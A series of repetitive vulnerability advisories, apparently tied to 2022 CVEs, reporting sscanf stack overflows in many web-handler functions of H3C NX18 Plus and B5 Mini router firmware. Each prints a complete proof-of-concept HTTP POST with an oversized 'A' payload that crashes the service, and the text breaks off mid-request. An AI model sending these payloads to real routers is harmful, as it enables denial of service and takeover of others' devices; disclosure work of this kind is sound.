H3C Magic NX18 Plus NX18PV100R003 was discovered to contain a stack overflow via the function SetMobileAPInfoById.

**H3C Magic NX18 Plus NX18PV100R003 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202103/1389284\_30005\_0.htm

**Product Information**

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview：

**Vulnerability details**

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the SetMobileAPInfoById function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the SetMobileAPInfoById function, the param we entered is formatted using the sscanf function and in the form of %d%[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V7, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.124.1:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.124.1:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=SetMobileAPInfoById&param=1;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36496: vuln/H3C/H3C NX18 Plus/9 at main · Darry-lang1/vuln

H3C Magic NX18 Plus NX18PV100R003 was discovered to contain a stack overflow via the function DEleteusergroup.

**H3C Magic NX18 Plus NX18PV100R003 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202103/1389284\_30005\_0.htm

**Product Information**

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview：

**Vulnerability details**

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the DEleteusergroup function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the DEleteusergroup function, the param we entered is formatted using the sscanf function and in the form of %[^,]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V7, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.124.1:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.124.1:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=DEleteusergroup&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36499: vuln/H3C/H3C NX18 Plus/19 at main · Darry-lang1/vuln

H3C Magic NX18 Plus NX18PV100R003 was discovered to contain a stack overflow via the function Edit_BasicSSID_5G.

**H3C Magic NX18 Plus NX18PV100R003 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202103/1389284\_30005\_0.htm

**Product Information**

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview：

**Vulnerability details**

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the Edit\_BasicSSID\_5G function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the Edit_BasicSSID_5G function, the param we entered is formatted using the sscanf function and in the form of %[^;]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V30, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.124.1:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.124.1:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=Edit_BasicSSID_5G&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36497: vuln/H3C/H3C NX18 Plus/10 at main · Darry-lang1/vuln

H3C Magic NX18 Plus NX18PV100R003 was discovered to contain a stack overflow via the function UpdateSnat.

**H3C Magic NX18 Plus NX18PV100R003 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202103/1389284\_30005\_0.htm

**Product Information**

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview：

**Vulnerability details**

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the UpdateSnat function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the UpdateSnat function, the param we entered is formatted using the sscanf function and in the form of %s. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V12, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.124.1:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.124.1:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=UpdateSnat&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36501: vuln/H3C/H3C NX18 Plus/16 at main · Darry-lang1/vuln

H3C Magic NX18 Plus NX18PV100R003 was discovered to contain a stack overflow via the function EditWlanMacList.

**H3C Magic NX18 Plus NX18PV100R003 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202103/1389284\_30005\_0.htm

**Product Information**

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview：

**Vulnerability details**

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the EditWlanMacList function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the EditWlanMacList function, the param we entered is formatted using the sscanf function and in the form of %u;%[^;];%[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V4, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.124.1:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.124.1:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=EditWlanMacList&param=1;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36500: vuln/H3C/H3C NX18 Plus/13 at main · Darry-lang1/vuln

H3C Magic NX18 Plus NX18PV100R003 was discovered to contain a stack overflow via the function addactionlist.

**H3C Magic NX18 Plus NX18PV100R003 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202103/1389284\_30005\_0.htm

**Product Information**

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview：

**Vulnerability details**

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the addactionlist function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the addactionlist function, the param we entered is formatted using the sscanf function and in the form of %[^,]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V33, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.124.1:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.124.1:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=addactionlist&param=1;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36495: vuln/H3C/H3C NX18 Plus/6 at main · Darry-lang1/vuln

H3C Magic NX18 Plus NX18PV100R003 was discovered to contain a stack overflow via the function edditactionlist.

**H3C Magic NX18 Plus NX18PV100R003 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202103/1389284\_30005\_0.htm

**Product Information**

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview：

**Vulnerability details**

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the edditactionlist function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the edditactionlist function, the param we entered is formatted using the sscanf function and in the form of %[^,]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V33, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.124.1:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.124.1:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=edditactionlist&param=1;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36494: vuln/H3C/H3C NX18 Plus/7 at main · Darry-lang1/vuln

H3C Magic NX18 Plus NX18PV100R003 was discovered to contain a stack overflow via the function SetAPWifiorLedInfoById.

**H3C Magic NX18 Plus NX18PV100R003 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202103/1389284\_30005\_0.htm

**Product Information**

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview：

**Vulnerability details**

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the SetAPWifiorLedInfoById function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the SetAPWifiorLedInfoById function, the param we entered is formatted using the sscanf function and in the form of %[^;]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V12, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.124.1:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.124.1:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=SetAPWifiorLedInfoById&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36493: vuln/H3C/H3C NX18 Plus/8 at main · Darry-lang1/vuln

H3C B5 Mini B5MiniV100R005 was discovered to contain a stack overflow via the function SetMacAccessMode.

**H3C B5 Mini B5MiniV100R005 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202007/1311628\_30005\_0.htm

**Product Information**

H3C B5 Mini B5MiniV100R005 router, the latest version of simulation overview：

**Vulnerability details**

The H3C B5 Mini B5MiniV100R005 router was found to have a stack overflow vulnerability in the SetMacAccessMode function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the SetMacAccessMode function, V11(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V15, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=SetMacAccessMode&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

CVE-2022-36471: vuln/readme.md at main · Darry-lang1/vuln

H3C B5 Mini B5MiniV100R005 was discovered to contain a stack overflow via the function SetMobileAPInfoById.

**H3C B5 Mini B5MiniV100R005 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202007/1311628\_30005\_0.htm

**Product Information**

H3C B5 Mini B5MiniV100R005 router, the latest version of simulation overview：

**Vulnerability details**

The H3C B5 Mini B5MiniV100R005 router was found to have a stack overflow vulnerability in the SetMobileAPInfoById function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the SetMobileAPInfoById function, V8(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V16, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
